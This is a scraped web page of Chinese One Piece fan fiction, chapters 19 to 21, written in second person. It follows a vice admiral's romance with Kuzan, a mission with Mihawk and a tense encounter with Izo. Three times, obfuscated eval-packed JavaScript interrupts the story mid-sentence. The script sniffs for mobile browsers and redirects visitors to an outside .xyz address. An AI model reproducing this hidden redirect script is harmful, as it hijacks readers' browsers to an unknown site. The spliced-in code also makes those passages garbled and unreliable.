RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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见惯大风大浪的库赞知道,你手上的伤不算严重,但他还是被你无谓的态度给激怒了。与其说是激怒,更接近怜惜一词。 “我说了,先去包扎。” 库赞再次重复他的要求时,你和他都被他说话的语气吓一跳。而且,为了让你更好正视自己的问题,库赞还抬起了你受伤的那只手。 意识到自己做了什么后,库赞放下了你的手,在你的注视下移开视线。 “我,你、你的手...” 截止到今天,库赞才发现自己其实也不怎么会说话。面对这样的他,你接受了他的提议。 “我知道了,我会去包扎的。不过这样,就没有时间陪库赞逛了。今天可以拜托你先回去吗?” 没有理由拒绝,库赞应下了你的要求,但他坚持要看到你回到基地的医务室才肯走。 库赞答应了你的请求,你也不会拒绝他就是了。 - 医生边帮你包扎,边表达她对海贼的痛恨。你合理怀疑,如果不是医生所学的词汇量有限,她大概会用尽一切恶毒的语言把伤你的海贼臭骂一顿。 “萨拉中将也是的,就不能更担心一下自己吗?这么深的一个刀口,你还说没事。” 面对医生下一秒就要为此哭出来的脸,自知理亏的你收下了医生对你的担心。 你很肯定没事,毕竟这个刀口是你故意让他们划出来的。痛是痛了点,但库赞临走时不一样的态度,足以说明你这刀挨得还是很值的。 临时起意的方法,倒是有改进你和库赞的关系。但果然,这种会伤到自己的方法还是少用吧,次数多了只会让人怀疑你的实力。 要说今天有什么让你觉得可惜的,就是没见到库赞用他的能力吧。 19. 任务 按理说,你和库赞的关系应该更好了才对。可那天之后,库赞都不来你办公室摸鱼了。副官和基地里的海军是高兴了,你却为此感到头疼。 是库赞发现什么了吗?回想起那天的事,你觉得在库赞眼中的你,应该是一名不错的海军才对。为此,你还让自己挨上一刀,结果却不如你想的那样顺利。 你看了眼给库赞准备的专属杯子,莫名有些无奈:这个办法行不通,那就换个吧。 同一时间,本部的电话虫响起来了。你接通电话后,话筒里传来战国的声音。 大致内容就是要你去支援在附近剿灭海贼团的鹰眼。说是支援,但你觉得这更接近“监视”。毕竟再怎么样,七武海也是海贼。 “保证完成任务。” 挂掉电话后,你叫来副官做好出海支援的准备。难得出一次海,刚来报道的新兵都很有精神,一副随时都能上场打仗的样子。 这是好事,但也不完全是好事。能让七武海出手剿灭的海贼团,新兵大概率是打不过的。但他们需要经验,需要这些经历。 说起来,这次要剿灭的海贼团是哪里的海贼来着? 你喊来副官把收集好的资料给你,你粗略地翻了几页,赏金都不少,但加起来还不够以藏的赏金高。 就在你研究悬赏令时,米霍克上船了。明明他没做什么,但自他上船那刻,先前还小声交谈的新兵不再出声,每个人都绷紧了神经。 大概这就是强者自带的气场吧? “很高兴有机会和你合作,七武海里的鹰眼。” 你朝站在身旁的米霍克伸出手,后者扫了一眼你的脸,目光落在你朝他伸出的掌心。在你以为米霍克不会搭理你时,他握住了你朝他伸出的手。 “米霍克。” 如代号般锋利的鹰眼看向你,常年握剑的手还维持着和你握手的姿势。显然,米霍克并不打算松手。 根据你这几个月在海军各层磨练的经验,米霍克是希望你叫他的名字吧? “好的,七武海的米霍克先生。鉴于上级的要求,这次任务将由我们基地负责支援你。” 话说到这个份上,总该松手了吧?再不松手,你身旁的副官都要暴起抗议了。 而勉强得到想要的答复后的米霍克松开了手,和你保持着适中的距离。即使如此,你还是能感觉到米霍克的视线没从你身上移开。 要说有什么能让米霍克这么关注你,你只能想到他曾在哪里见过你,可你没有印象自己在哪里见过米霍克。 好在这次任务的目标出现了。你用望远镜确定了前方的海贼船是战国说的海贼船后,米霍克跳到军舰的栏杆上,拿着他的黑刀,对着不远处的海贼船一挥。 刀出鞘那刻,不远处的海贼船就沉了。 “还有其他要做的事吗?” 等你从一刀就结束人海贼梦的情景回过神时,米霍克已经从栏杆上下来了。 “剩下就交给我们处理吧,辛苦你了,七武海的米霍克先生。” 你和米霍克表示感谢时,直视着你的黄玉般的鹰眼,眼底多出了几分无奈。 “米霍克就行,前缀和后缀都没有必要。” 话说到这个份上,你没有再装傻的余地了,只能讪笑着照米霍克的要求叫他的名字。 “啊...我知道了,米霍克。” 见米霍克还没有离开的准备,你喊来副官,交代了抓捕余党的事。与此同时,副官把你让她准备的红酒交给你。 “听说你喜欢红酒,作为初次见面的礼物,我让下属给你准备了一支,希望你能喜欢。” 红酒是你怕米霍克为难你和基地里的新兵,事先准备好的。毕竟同为七武海的多弗朗明哥性格就阴晴不定,你总得做些准备。 结果米霍克太配合了,以至于你只能把红酒当见面礼送出去了。 米霍克没有马上接过你给的红酒,而是看了眼上面的字,才发出微乎其微的笑声。 “还算不错的酒。” 并不懂酒的你只是让人拿了瓶年份最久的红酒罢了。反正米霍克收下了,你的目的就达成了。完成任务的米霍克乘上他的棺舟离开了,收押了海贼余党的船只也回到了船舱。 理应画下句号的任务在观察兵的声音中继续进行。 “报告中将!前往有海贼船出现!” “能看见对方的人数和海贼旗吗?” 在你的追问下,观察兵脸色大变:“是、是白胡子的海贼旗!只有一个人!” 此话一出,所有人的表情都变了。你克制住自己听到关键词时的情绪,急忙在脑海里搜索避免和白团见面的方案。 “对方行进的方向是哪里?有没有机会避开和他交战的可能?” “报告!对方正直线朝军舰行进!” 你还想追问观察兵来的人是谁时,你已经辨认出朝军舰行进的船声了——是以藏的船。 如果是不知道是谁前,你还能建设好心理。但来人是以藏的话,你无法保证自己在见到以藏时还能维持好现有的状态。 “萨拉中将,扑克海贼团的余党已经全部收押完毕!” 副官的声音让你冷静下来了。你看了眼闯入你视野范围内、站在快艇上英气十足的以藏。 不行,光是看到以藏的脸你就想哭了。但你还有必须留在这里的理由,且一般的海军未经允许,不能和四皇开战。 于是,你向副官下达指令。 “回基地,开最大马力,避免和白胡子海贼团的人交战。” “要是遇上了呢?” 遇上不能开战,但最基本的威慑行为是允许的。什么都不做,会让上面起疑心,也会让在场的海军对你的印象大打折扣。 “只要对方没做出攻击行为统一无视。如果有攻击的准备...进入射程范围就将其击沉。” 刚下达完命令,熟悉的气息出现在你身后,面对你的副官和海军脸都吓青了。 “那我已经上来了,又该做什么准备?” 时隔半年在这种情况下听到以藏的声音,你的脑子乱成一团,竟找不到。没等你调整好情绪,含笑的男声随着抵在你太阳穴上的冷意响起。 “如果不想让你们中将的脑袋开花,就站着别动。” 听到枪上膛的声音,拿着枪对着以藏的海军不敢轻举妄动,更是在副官的要求下放下枪。 “你想要什么?” “只是来打个招呼而已,顺带看一下海军人望最高的中将长什么样罢了。” 只有你们两人听得见的音量中,你听到以藏笑了。显然,他就是来看你的。意识到这点后,你的眼眶一热。 “人也见了,你该走了。” “说的也是。下次再在海上见面的话,就不只是见一面了...萨拉。” 只有两人听得见的音量里,你的名字在以藏的带着警告意味的含笑声中格外好听。 抵在你太阳穴上的武器随着以藏的离去而消失。基本是你的人身安全得到保证时,船上的海军再次举起枪,准备朝以藏射击。 “停下、都不准出手!” “可、可是——” 他们还想说些什么,你把本部的要求搬出来了。 “没有本部的允许,不能和四皇交战。集体都有,把刚才的事忘了。现在掉头,回基地。” 你下完指令后,以藏的船开远了。你看着逐渐远去的黑点,因以藏的出现而起伏的情绪逐渐恢复平静。 - 回到基地后,你提前让副官下班。副官是想留下陪你的,在你让她替你关注一下新兵的状态时,副官就明白你是什么意思了。 “保证完成任务。” 在这之后,你又接了战国的电话,和他汇报了今天出任务的情况,顺带提了一嘴以藏的事。 听完以藏“打招呼”的报告,战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913117|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国震怒,但也不能拿以藏怎么样。毕竟四皇和海军之间的限制,战国比谁都清楚。 确认完出任务的海军都没有伤亡,战国又安慰了你几句才挂掉电话。 你看着电话虫发了会儿呆,脑海里是以藏和你说话时的声音。以藏来找你有老爹的意思,也有他本人的意思。 老爹的意思是他们还在等你回去,以藏的意思...你就不清楚了。 你很清楚,老爹让你回去是有条件的,条件就是你必须在你们再次在海上相遇前离开海军。如果做不到...或许他们就会把你当成敌人对待了。 许是近期的压力大到让你喘不过气,也可能是以藏的出现带给你的刺激太大,你在仅有自己一人的办公室无声落泪。 “本想关心一下受惊的友人,但我来的似乎不是时候。” 你应声回头,来人正是最近没怎么出现的库赞。四目相对时,你们都因对方的出现而感到诧异。 先一步反应过来的你急忙擦掉眼角的泪,朝库赞露出他最熟悉的微笑。 “不,没有的事。要喝茶吗?” 从窗台跳下来坐到沙发上的库赞看了你一眼,回了你肯定的单音。 而你拿起茶壶时才想起自己没泡茶:“抱歉,今天出任务忘了泡茶,给你倒杯水代替茶好了。” 没等库赞回答,你拿着库赞专属的杯子给他倒了半杯热水。接过水杯的库赞没说话,一言不发地看着你。 “怎么了?” 在你的注视下,库赞揉了把自己的后脑勺,拿出了包装精致的盒子。 “我不知道该怎么安慰你。所以听了波鲁萨利诺的建议,买了些蛋糕给你。” “也不知道你什么口味,我就让店员把销量高的都拿了点。” 放在你桌面上的盒子于库赞来说可能不算什么。可从你的角度来看,盒子大到能再喊五个你来吃。 所以库赞这次来找你不是为了摸鱼,而是跑来安慰你的?海军现任大将跑来你的办公室,就为了安慰一个为海贼的出现而落泪的中将。 你该说什么?又该对库赞的好意做出什么回应才对? 今天遇到的事实在是太多了,多到你决定放弃思考了。 “谢谢你的蛋糕。反正现在没什么事做,你也来吃点吧。” 被邀请一起品尝蛋糕的库赞想要拒绝你的邀请,可看到你还泛红的鼻尖,对蛋糕没什么兴趣的库赞应下了你的邀请。 然后库赞为自己冲动消费的行为后悔了。对于两个不怎么吃甜食的人来说,六个蛋糕还是超纲了。 “没办法,剩下的只能交给其他人处理了。” 你随机拦住了路过你办公室的海军,在他富有活力的道谢声中把剩下的蛋糕交给他支配。 处理完蛋糕后,你回到办公室,和库赞一人坐一张沙发,试图消化掉胃部的蛋糕。 “心情有好点吗?” 库赞的声音从前方传来,你应声抬头,朝他点了点头。 “好多了。” 短暂的对话后,你们谁都没开口说话,任由诡异的寂静在室内弥漫。打破沉默的是你的声音。 “还以为要去本部才能见到你。现在看来,应该不用去本部也见得到了。” 闻言的库赞听出了你调侃他近期没来这摸鱼的话外音。老实说,要是没听到战国在办公室对白胡子海贼团的怒骂,他估计还会继续和你保持这种距离。 该说什么好呢?发现自己对年轻的同事抱有超越友谊和战友情的好感,所以采取回避措施这种话肯定是不能说的。 但先按捺不住的也是他。而让库赞一再改变计划的你,正朝他露出毫无防备的微笑。 你是令他头疼的同事,也是让他难以把握距离的好友。 “嘛...这种事,我也不好说。” 回避不掉的话,那就面对吧。至少再遇到这种情况时,他还有借口来安慰你。 20. 谣言 自上次的事后,库赞往你基地跑得更勤了。 明眼人都看出你和库赞走得很近,但没人敢传你和库赞的谣言。一来是你在海军中的人气意外的高,工作上的事也不含糊;二来是库赞的身份,有脑子的人都知道得罪大将没好果子吃。 不过,总有人是例外,比如不知道为什么坐在你旁边的波鲁萨利诺:“不知道萨拉中将最近可有听到些有趣的话题?” 波鲁萨利诺给你的感觉很危险。你总觉得,在他面前不管是说真话还是假话,只要有一丝漏洞,就会被他抓住。 面对这种情况,你选择打直球。 “请赐教。” “真可怕呢,萨拉中将公事公办的性格。” 不然呢?你和波鲁萨利诺的关系也没好到能随心所欲的程度,何况现在还在本部的会议室里。 “就是说,本部的人都说萨拉中将在和库赞谈恋爱,也有人说库赞老牛吃嫩草,还有人说萨拉中将引诱上级。” 此时会议室除了你和波鲁萨利诺,还有几个你没记住名的中将,他们都因波鲁萨利诺的话纷纷别过头。喝水的中将就倒霉了,差点没给茶呛死。 面对会议室其他人的反应,波鲁萨利诺若无其事地往下说。 “老夫就是想知道,萨拉中将和库赞究竟是哪一种呢?” 感情不是没人传谣,而是没传到你这里。但这些不痛不痒的谣言传到你耳里,你也不会在意就是了。 “在问出这个问题前,黄猿大将心里不是早有答案吗?” 意料之外的答复让波鲁萨利诺面露诧异:“耶?萨拉中将是这么看老夫的吗?” “哪里。我只是觉得这些不痛不痒的谣言,不会掀起什么波澜。” 你和库赞撑死只能算是朋友之间的往来,被传着这样也是很离谱了。 战术停顿的沉默时间里,谣言中的库赞姗姗来迟,在萨卡斯基的旁边和你旁边的位置里,选择了你旁边的位置。 见状,波鲁萨利诺隔着你向库赞打听对谣言的看法。 “那库赞,你对于本部近期的谣言又有什么看法?” 猝不及防被同事打听私生活的库赞看了你一眼,发现你面不改色地坐在原地,便恢复以往慵懒的态度敷衍波鲁萨利诺的问题。 “啊啦,这种谣言...不管是真是假,都挺麻烦的。” 与此同时,一直没开口说话的萨卡斯基终于说话了:“够了,不要再在会议室里谈论这些谣言了,成何体统!” 此话一出,作为话题发起人的波鲁萨利诺说着毫无惧意的“真可怕”,试着将他庞大的身躯躲在你身后。 习以为常的你只要微笑就对了,毕竟你知道波鲁萨利诺真的只是在玩。 直到所有人到齐,负责主持会议的战国说起了这次会议的主题。先是提了下哪个基地有谁升职,然后指出哪些基地的作风和打压海贼的力度不够,再来就是本部近期的谣言。 “虽然他们说什么管不了,但作为带头的你们,该管的还是要管。” 说这话时,战国扫了眼波鲁萨利诺,后者了然地点头。 许是会议上的事让库赞良心不安,刚开完会解散,库赞就跑来找你了。 “那些谣言...” 说来也是有趣,表面上不怎么在乎谣言的库赞,现在倒是格外的在乎。 “我知道,都不是真的。毕竟我和库赞只是朋友,不是吗?” 没想到你会洒脱到这种程度,库赞在来时打好的草稿没有一个字用上。按理说,这是好事,但他高兴不起来。 大概是因为在和你相处的过程中,库赞发现自己并不像你一样洒脱吧。 你年轻富有活力,工作时认真严谨,私下来往时又活泼风趣。没来往之前,库赞还无法理解你基地里无论男女都忠心于你,甚至会为了你打起来这种事。 真正相处过后,他才知道这是合理的,不如说你所散发的魅力和为人处世的风格,很难不让人着迷。 于公于私,库赞都不想和你交恶。 “是啊,你没有因为这些想疏远我就好。难得来一次本部,这次让我请客吧。” 闻言的你面露遗憾:“抱歉啊,这次我说好要请基地的新兵吃饭,提前给这个月过生日的新兵庆祝。要是不介意的话,你要一起来吗?” “啊...这种活动我不去会更好吧。” 虽然库赞是想去的。可你笑了,笑得格外开心。 “哪里,要是他们知道三大将里有人给他们过生日,应该会很开心才对。” 眨眼的时间,那双让库赞移不开视线的黑眸与他对上视线。 “这么说的话,你会答应的吧?” 无法拒绝。只要被这双注视,库赞就说不出拒绝的话:“啊,我会去的。” 事实证明你说的话没错,见到库赞也到场时,在场的新兵团都愣住了。 “不用拘谨,青雉大将也是来给你们过生日的。” 有了你这句话后,活力四射的新兵团欢呼起来,纷纷向库赞道谢。 没遇过这种情况的库赞吓了一跳,下意识看了你一眼,试图从你那里找到应对这种场面的方案。 “说句‘生日快乐’就好。” “真的只要说这个就好?” “真的。” 有了你的保证,库赞用他的语气说了句“祝你们生日快乐”,于是新兵们又感动到落泪。 什么大场面没见过,但这种场面真没这么见过,以至于库赞都怀疑自己说错话了。 整个餐厅都被你包下来了,所以在餐厅里的年轻人玩得很开心,即使你和库赞坐在一旁看着,也阻挡不了他们释放天性。 这不,即使库赞推脱着不想戴上纸质的生日帽,也被情绪上头的年轻人戴上了。你看了眼库赞和生日帽的组合,没忍住笑出了声。 知道你在笑什么的库赞拿你没办法,只能任你摆布。 “和年轻人待一起,总觉得自己也年轻了。” 闻言的你在库赞窘迫的表情中笑得很开心,以至于库赞也跟着笑起来了。 聚会还在继续。虽说是来放松的,但你明令禁止他们喝酒。结果他们不喝,吆喝着让你喝。 “拜托了萨拉中将,我们不能喝,总得让我们过个眼瘾嘛。” 和你撒娇的是平日里喜欢摸鱼的新兵A。她是家里的老小,十分清楚年长者喜欢什么。不只是她,其他新兵也跟着拜托你,全然不顾自己的形象。 在这种氛围下,你也不好推辞,只能在他们的拜托声中拿起酒杯。 “总觉得搬起石头砸自己的脚了。” 上次和你喝过酒的库赞有些担心:“要不我替你喝?” 你摆手拒绝了库赞的好意。 “没事,我喝醉了你就替我照看一下他们。” 然后,你在新兵的欢呼声中说了敬酒词,将杯中的红酒一饮而尽。 “酒也喝了,你们该庆祝的庆祝,到时间就回去。” 知道你只会陪他们闹到这后,新兵都去和平时与自己交好的人玩了。有不少担心你的还待在你身边,无一例外,也被你赶去玩了。 直到他们都散开后,你才瘫在椅子上,不再勉强自己。一旁的库赞目光落在你因酒精染红的脸,连着没沾酒的他也有了些许醉意。 察觉到视线的你看向库赞,后者的声音有些干哑:“你醉了,萨拉。” “嗯…有点。” “要去休息吗?” 你摇头,拒绝了库赞的提议:“不了,我坐会儿就缓过来了。” 听着不远处新兵有说有笑的声音,你有一种自己回到了莫比迪克号的错觉。在那艘船上的他们也是如此,总是有说有笑的。 可是啊,你可能回不去了。已经成为海军一员的你,真的能厚着脸皮回到莫比迪克号吗?之后又能在遇到有过来往的海军时,对他们刀剑相向吗? 一步错步步错,可能只有回到你接受海军邀请的节点,你才能摆脱现在的困境。 打断你沉浸在回忆里的是库赞的声音:“萨拉。” “嗯?” 比回答更快的,是库赞抚上你眼角的手。你和库赞都被他的动作吓了一跳,后者先一步收回他越界的手。 这是库赞第一次越界。 “不…没什么。” 库赞的异样让你意识到,你看着不远处活跃的新兵流泪了。而库赞伸手替你拂去泪水的动作,便是最好的证明。 “真的不用找个地方休息吗?” 担心你状态的库赞再一次询问你的意见。许是情绪上头,也可能是不想在新兵面前失去威信,你接受了库赞的提议。离开前,不忘叮嘱副官替你管住闹腾的新兵。 基本有职称的海军在马林福特都有自己的住所,你和库赞也不例外。可惜,你自从上任后一直都住基地,库赞则是到处出差。 衡权利弊后,库赞决定送你去旅馆住一晚。 而在餐厅还能强撑着走出门的你,现在已经醉的需要人扶了。一开始,库赞是有说扶你一把的,被你拒绝后,他只能站在你身后,保持着随时都能接住你的距离跟着。 可看着你东倒西歪地走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913118|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一段路,库赞就看不下去了。未经你的允许便把你抱起,这是库赞第二次越界。 “酒醒后你怎么说我都行。” 头靠在库赞胸口的距离,你甚至能听到库赞的心跳声。和表面冷静的库赞不同,你耳边的心跳声急促而响亮,和库赞平时给人的感觉不一样。 所以,你问了库赞一个问题。 “你在紧张吗?” 被提问的库赞有意不去看在他怀里的你。 “…很紧张。” 你们的姿势太暧昧了,暧昧到库赞担心下个拐角就遇到本部的同事,然后第二天谣言变得更离谱。 再来,则是你的每个呼吸都精准地呼在他的胸前,这对于感情上有很长一段空窗期的库赞来说很折磨,且亲近的对象是颇有好感的你。 而毫无自觉的你还在问。 “是因为我而紧张吗?” 库赞没有回答,加快了步伐。他怕在耗下去,你就要问出让他心跳更快的问题了。幸运的是,在库赞把你送进房间前,你不再追着他问这问那了。 “你在这休息,我会联系你的副官来接你的。” 把烫手山芋放下后,库赞只想逃离现场,可握住他指尖的手没让他得逞。 “你讨厌我吗?” 顺着声源处看去,库赞看到了你染上一层水雾的黑眸。他想,没有人能在看到这样的眼神,还能说出讨厌你的话。 “啊啦啦…整个本部都找不出讨厌你的人。” 库赞应该趁这个机会掰开你握住他的手,可他看到你笑了。 “那你喜欢我吗?” 太危险了,现在的氛围对于你和他来说都过于危险了。 “这话可不能乱说。” 急于逃离现场的库赞没有动作,只是一昧地回避你的问题,你却因他的回答露出满足的笑容,握住他指尖的手顺势往上,是接近牵手的距离。 “你喜欢我,库赞。” 库赞藏起来的秘密被你挖出来了,而被挖掘出秘密的库赞沉默不语。 理应甩开你的手,却把主动伸进他手心里的手握住,这是库赞第三次越界。 “你醉了。” 注视着你的双眸很是坚定,你不知道库赞在说服自己,还是在劝你。 被酒精侵占的意识还很清醒,你知道自己在做什么,也知道你想要什么。 “可你没醉,不是吗?” 库赞没有接上你的话题,任由你从柔软的大床坐起,将空出的另一只手伸到他面前。你没有说话,库赞却顺势握住了你另一只手。等库赞意识到自己做了什么时,你露出恶作剧成功时才有的弧度。 “我都说了,你喜欢我。” 你的话语里不加掩饰的笑意和喜悦。 什么年龄和上下级关系都抛到脑后吧,他就是喜欢你。不是朋友间的好感,也不是上下级的欣赏,而是对异性的喜欢。 “对,我喜欢你。” “所以你呢,你又是怎么想的?” 库赞吻上你右手的手背,凝视着你的眸中不再坚定,而是放任他对你的情感顺其自然。 你知道,这场博弈你赢了。理性告诉你,你不该再招惹库赞,这只会让你今后的处境更加困难,你需要的仅仅是库赞的能力,而不是他的心。 可你的情感战胜了理性,它告诉你,你需要库赞。无论是他的能力,还是他对你的真心,你都要握在手中。只有这样,你才能稳住自己想脱离海军的心。 你还不能走,那个期待着你成为海军、永远无法实现海军梦的塞拉只剩一个月的生命了。 “我吗?” “当然是喜欢了。” 你答应过塞拉了。 - 都说喝酒误事,但库赞没喝酒也觉得出事了。放任自己的情感流露,大概是近期来库赞觉得最不该做的事。 如果你醒来后要打他,库赞一定不会防,任你打。可你没有,还在醒来时和他说想要再休息一会儿。 他没有回答,你将他的沉默理解为另一个意思,染上水雾的黑眸看得他胸口发热。 “你要回去了吗?” “不...今天没什么事应该不会回去了。” 得到满意答复的你笑了,枕着他臂弯的动作多了几分恋人才有的温情。 在你入睡时,库赞不禁庆幸他在开会前处理完了今天要交的文件。要是接下来有什么急事,这个距离只要他的副官打电话,他加快点速度就能赶到。 要说还有什么事比较麻烦,大概是他要坐实“老牛吃嫩草”这句话了吧。 21. 预兆 你和库赞确认关系后,甚至不用你提起能力的事,库赞就在你们约会时用了能力。 第一次在冰起来的海面上坐自行车是很新奇的体验,你问库赞,他冰住的是海面还是整片海。 库赞表示他也想冰住整片海,奈何能力有限只能冻住海面,说这话时无奈的口吻逗得你在自行车后座笑个不停。 “如果库赞都说能力不足了,那我真的想不到还有哪个能力者能在海上自由行走了。” “嘛,大海这么广阔,总会有人能做到的。” 库赞的语气平淡,但你知道,他是真的觉得有。你也觉得应该是有的,只是现阶段的你只见过库赞能这么做罢了。 在你和库赞交往前,你们单独相处时就不怎么讨论工作的时。交往后更是,两人都很有默契的不在工作时间来往,工作上的事更是谁都不说。 唯一和工作有关的事,就是库赞发现你连着三天都没闭过眼处理基地的事务时,难得放弃了和你在冰住的海面上散步,换了个约会场所。 “干净到让人怀疑这里没住过人。” 这是你看到库赞房子的第一想法。面对你的夸赞,库赞也不含糊,告诉你这个房子确实不怎么住。 “所以打扫花了挺长时间,你不嫌弃就好。” 所以是真的没住过人,且打扫房子的是库赞本人?从库赞话里听出话外音的你笑了,捧起库赞的脸,试图从他错愕的表情里看出打扫房子时的苦恼。 “这算是在向我邀功吗?” 没想到你会主动和他调情,库赞有些意外。 “我没这么想过。但要是有奖励,那我就是在向你邀功。” 库赞这么说着,将你从沙发上抱起,放在他腿上。即使如此,你们的身高差还是让你达不到能俯视他的角度。 这令你感到遗憾,但不妨碍你让库赞低下头配合你。 “那我该给你什么奖励好呢?” 放低姿态的库赞握住你的手,在你掌心落下一吻。 “一个吻就好,美丽的女士。” 凝视着你的双眸里的炙热,可不是一个吻就能解决的样子呢。 于是难得都在休假日的你们把时间都花在了库赞在马林福特的房子里。你睡了多久,库赞陪你待了多久。 除了家务,库赞还会下厨,以至于你有幸见到库赞在厨房和食材及调料做斗争的样子。 明明一脸麻烦的表情,但做出来的饭菜却很好吃。从你吃下第一口时,库赞落在你身上的目光就没有移动过。 “怎么样,应该不会很难吃吧?” 大概包括库赞在内,整个本部都不会想到平日慵懒的库赞,会因为你吃下他做的菜而紧张吧? 所以你没有马上回答库赞的问题,而是放下筷子,在他无奈的神情中做出苦恼的表情。 “嗯...还不错。是可以放心把孩子交给你照顾的程度。” 闻言的库赞松了口气,看向你的眸中多了几分温情。 “你真是、还以为难得做一次饭要被嫌弃了。” “开个玩笑,毕竟很少有机会见到库赞紧张的样子。” 两人相视而笑,继续品尝库赞辛苦的成果。 吃饱喝足后,你们的假期也临近尾声。你是想自己回去的,但库赞说想和你再待一会儿,你便任由他骑着自行车送你回基地了。 回去的路上,库赞提议让你用你的能力给他造路,你心下一惊。果然,库赞不可能不知道你在学他的能力。 “如果我失败了,我们都会沉下去的哦?” “那也是,沉下去的话也没办法。不过我还是不想泡海里,就拜托你努力点了。” 显然,库赞坚持让你展示你的能力,甚至愿意用你们的性命来赌。那怎么办呢?当然是照他说的做,只是你有意控制使用的范围,不让库赞看出你使用能力的最大范围。 而你自己都不敢保证是安全的海面,库赞毫不犹豫地踩着车就出发了。 是对你的信任,还是对他反应力的信任呢?你看不出库赞在想什么,直到库赞说起了你和他开过的玩笑。 “如果是我误会的话,那就当我没说过。就是...你说的孩子?” 你看不见库赞的表情,但库赞干哑的语气足以说明此时的他心情并不平静。大概是你无心的玩笑,被库赞误解为你有孩子了。 “只是玩笑而已,库赞。” 闻言的库赞松了口气:“这样啊......” 仔细听的话,还能从中听出一丝遗憾的味道。你的脑海里浮现出了一个猜想,这个猜想让你感到惶恐。 “我猜,你已经在想结婚的事了?” 夜晚的海面只有库赞踩自行车的声音,偶尔能听到海鸥的鸣叫。自行车的踏板转了十几圈,沉默的库赞才接上话题。 “说没有的话...你也不会信吧。不过我们这份工作——” 或许让这个话题停在这是最好的安排,但无法确定库赞是否对你起了疑心,你需要借着现在的氛围打消可能存在的威胁。 “那我要马林福特最大颗的钻石戒指。” 应声响起的是自行车急刹的声音,库赞停下了动作,不敢置信地转过头。 “刚才说的话...也是玩笑?” 在库赞的询问下,你举起右手,掌心对着皎洁的月光,让空无一物的右手在库赞眼里更为清晰。 “可以是玩笑,也可以是真心话。但这都取决于你的决定,库赞。” 含糊不清的话将主导权交给了库赞,库赞也知道你的意思,停下的自行车又继续向前行驶。只是这次,你能听到库赞的碎碎念。 “不知道要花多少钱呢......” 你没有接上库赞的碎碎念,只是看着倒映在冰面上的月亮。它缺了一半,和你离开白团时的圆月完全相反。 虽说没能学到波鲁萨利诺和萨卡斯基的技能,但库赞的也够用了。再过些时间,你就可以向战国辞去海军的职务了。 - 你和库赞交往满一个月时,你收到了塞拉母亲的来信。妇人告诉你,塞拉死了,死之前说很感谢你圆了她的海军梦。 你反复阅读了这封信,把信里的内容记在心里。随后用指尖点起一小撮火花,将信烧得一干二净。副官进门时,看到的就是你处理完信的场景。 “萨拉中将,可以出发去本部了。” “好,你在外面等我一下。” 副官走出办公室后,你深呼吸了几次,确认自己的情绪平静下来,才走出办公室和副官前往本部。 定期的本部会议向来都是差不多的议题,连着几次的会议,你已经能把战国常说的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913119|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背出来了。就算这样,还是要待在会议室等战国说完开会的议题。 你和库赞确认关系后,一般没什么事时,你们都会换下海军制服,在马林福特约会。原定计划是在开完会后一起去吃饭的,但看到你没什么精神,库赞改变了行程。 库赞的房子依然整洁。进房子的你们也如此,换了身衣服才会坐在沙发上。之前在库赞这里看到一半的书还放在桌上,可现在的你没有心情看,坐下就把头靠在库赞结实的大腿上。 很少见你这样示弱的库赞有些意外,他不知道该和你说些什么,只能任由你躺在他腿上,直到你愿意开口说话为止。 “库赞是因为什么决定当海军的?” “这个问题有点久远…现在也想不起来当时是怎么想的了。” 库赞的回答让你想起了塞拉说起她想当海军时说过的话。过更好的生活,遇到更好的人什么的,可以说,你已经过上塞拉想要的生活了,也在她生命的最后一刻,给予了她你所能给予的事物。 即使如此,塞拉还是离开了,那你也该从海军的世界里退出了。可离开海军后,你又该做什么呢?你很迷茫,不知道自己再这么流浪下去的意义。 “如果库赞不当海军,你会做什么?” 被问及的库赞看着侧躺在他腿上的你,轻抚你脸侧的碎发。 “嗯…到处看看吧,你又是怎么想的?” 你闭上眼睛,脑海里浮现出前段时间看过的书,主人公的住所。 “可能是流浪,也可能找个打开门和窗就能看到花田的地方住下,然后做自己喜欢的事,直到做不动为止。” “听上去是你会做的事,还不错的样子。” 库赞照着你说的设想了一下这种生活,觉得这是可行的。 得到库赞认可的你笑了起来,从他腿上坐起,伸出手捧起他的脸。 “当然了,不用像现在一样忙成陀螺,肯定好很多嘛。要是我找到了这样的地方,就招待你来做客好了。” 发现盲点的库赞有些失望:“我只能当客人吗?” 你被库赞故作失落的语气逗笑了,接着刚才的话题继续往下说。 “没办法,谁让库赞这么忙呢?不就只能当客人了。” “嘛...这种事谁说的定呢?要是有这么一天,或许我也不当海军了。” 